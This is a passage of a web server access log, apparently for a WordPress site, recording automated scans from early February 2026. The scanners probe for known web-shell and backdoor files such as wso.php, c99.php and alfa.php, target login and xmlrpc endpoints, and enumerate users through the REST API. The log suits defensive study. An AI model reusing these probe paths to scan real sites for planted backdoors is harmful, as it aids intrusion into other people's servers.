20.41.98.199 - - [03/Feb/2026:22:30:23 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:30:26 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:47 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:15 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:19 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:22 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:24 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:27 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:29 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:32 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:34 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:37 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:41 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:44 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:15 +0300] "GET /style2.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:11 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:15 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:28 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:30 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:34 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:36 +0300] "GET /ov.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:39 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:43 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:44 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:47 +0300] "GET /weo.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:49 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:52 +0300] "GET /ioxi2.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:55 +0300] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:57 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:00 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:03 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:06 +0300] "GET /file17.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:57 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:57 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:58 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:32 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:35 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:39 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:36 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:39 +0300] "GET /%E8%93%9D%E7%99%BD%E9%93%BE%E6%8E%A5.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:41 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:44 +0300] "GET /ii5file.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:47 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:49 +0300] "GET /321.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:52 +0300] "GET /w3.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:55 +0300] "GET /vdb.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:21:59 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:51 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 159.89.107.161 - - [04/Feb/2026:00:32:08 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 159.89.107.161 - - [04/Feb/2026:00:32:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.138.68.113 - - [04/Feb/2026:01:01:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.254.75.32 - - [04/Feb/2026:01:54:24 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 49.51.245.241 - - [04/Feb/2026:02:07:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.254.75.24 - - [04/Feb/2026:02:07:16 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 5.183.130.207 - - [04/Feb/2026:01:33:26 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 185.254.75.24 - - [04/Feb/2026:02:07:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 185.254.75.24 - - [04/Feb/2026:02:07:05 +0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.190.142.176 - - [04/Feb/2026:02:58:29 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:33 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:35 +0300] "GET /Update/f35.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:36 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:38 +0300] "GET /Wp-good.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:39 +0300] "GET /tphp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:42 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:43 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:45 +0300] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:26 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:27 +0300] "GET /wp/wp-includes//index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:09 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:12 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:14 +0300] "GET /ftp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:15 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:17 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:19 +0300] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:22 +0300] "GET /cool.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:24 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:25 +0300] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:28 +0300] "GET //elp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:30 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:31 +0300] "GET //wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:33 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:35 +0300] "GET /.trash7309/fafa/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:37 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:39 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:39 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:42 +0300] "GET /museu/yhweq.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:44 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:46 +0300] "GET //w.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:49 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:51 +0300] "GET /gib.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:53 +0300] "GET /wp-miiss.php.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:55 +0300] "GET /ho/wpup.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:57 +0300] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:59 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:01 +0300] "GET /hey.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:03 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:05 +0300] "GET //1337.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:07 +0300] "GET //buy.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:10 +0300] "GET /apsarasarts/okk.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:12 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:14 +0300] "GET /wp-is.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:17 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:18 +0300] "GET //about/function.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:21 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:23 +0300] "GET //wp-content/json.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:25 +0300] "GET /hzz.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:27 +0300] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:29 +0300] "GET //content.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:32 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:32 +0300] "GET /ps.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:34 +0300] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:37 +0300] "GET /.trash7309/dd/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:39 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:42 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:44 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:45 +0300] "GET //wp-content/plugins/achdxhv/languages/admin.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:48 +0300] "GET //user.php HTTP/1.1" 301 795 "-" "-" 43.166.226.186 - - [04/Feb/2026:03:02:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [04/Feb/2026:03:02:51 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:51 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:52 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:53 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:54 +0300] "GET /wp4.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:02:56 +0300] "GET //403.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:00 +0300] "GET //wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:03 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:06 +0300] "GET //sad/about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:19 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:21 +0300] "GET //wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:25 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:26 +0300] "GET //.cache/x.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:29 +0300] "GET /dr.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:31 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:33 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:34 +0300] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:34 +0300] "GET /ioxi-o2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:36 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:36 +0300] "GET /dlu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:38 +0300] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:42 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:44 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:45 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:47 +0300] "GET //404.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:56 +0300] "GET //wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:57 +0300] "GET /luxe.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:00 +0300] "GET /update/wpupex.php/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:02 +0300] "GET /rezor.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:04 +0300] "GET //doc.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:20 +0300] "GET //wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:09 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:09 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:12 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:14 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:15 +0300] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:10 +0300] "GET /oivcl.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:11 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:14 +0300] "GET //wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:09 +0300] "GET //wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:13 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:16 +0300] "GET //install.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:19 +0300] "GET /~norapump/hah.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:22 +0300] "GET /sto.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:24 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:27 +0300] "GET //test.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:30 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:30 +0300] "GET /n3.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:33 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:34 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:37 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:39 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:40 +0300] "GET /.trash7309/f/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:42 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:45 +0300] "GET //wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:48 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:10 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:13 +0300] "GET /2026.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:15 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:17 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:18 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:20 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:22 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:25 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:58:52 +0300] "GET //alfa.php HTTP/1.1" 301 795 "-" "-" 81.29.142.100 - - [04/Feb/2026:03:16:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36" 172.190.142.176 - - [04/Feb/2026:02:59:53 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:02:59:57 +0300] "GET //skin/install/default/security.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:00 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:03 +0300] "GET //wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:52 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:54 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:03:56 +0300] "GET //lufix.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:31 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:33 +0300] "GET //wso.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:37 +0300] "GET /images/fk2e3/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:39 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:41 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:43 +0300] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:44 +0300] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:46 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:50 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:50 +0300] "GET /mans.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:52 +0300] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:56 +0300] "GET /WordPress/x/ HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:57 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:00:59 +0300] "GET //geck.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:02 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [04/Feb/2026:03:01:04 +0300] "GET //admin/function.php HTTP/1.1" 301 795 "-" "-" 116.76.37.16 - - [04/Feb/2026:04:18:14 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.4424.35 Safari/537.36 Edge/18.18362" 89.110.99.186 - - [04/Feb/2026:03:48:24 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 40.69.66.178 - - [04/Feb/2026:06:57:53 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:57:53 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:07 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:08 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:10 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:11 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:12 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:13 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:15 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:16 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:18 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:19 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:20 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:22 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:22 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:23 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:24 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - 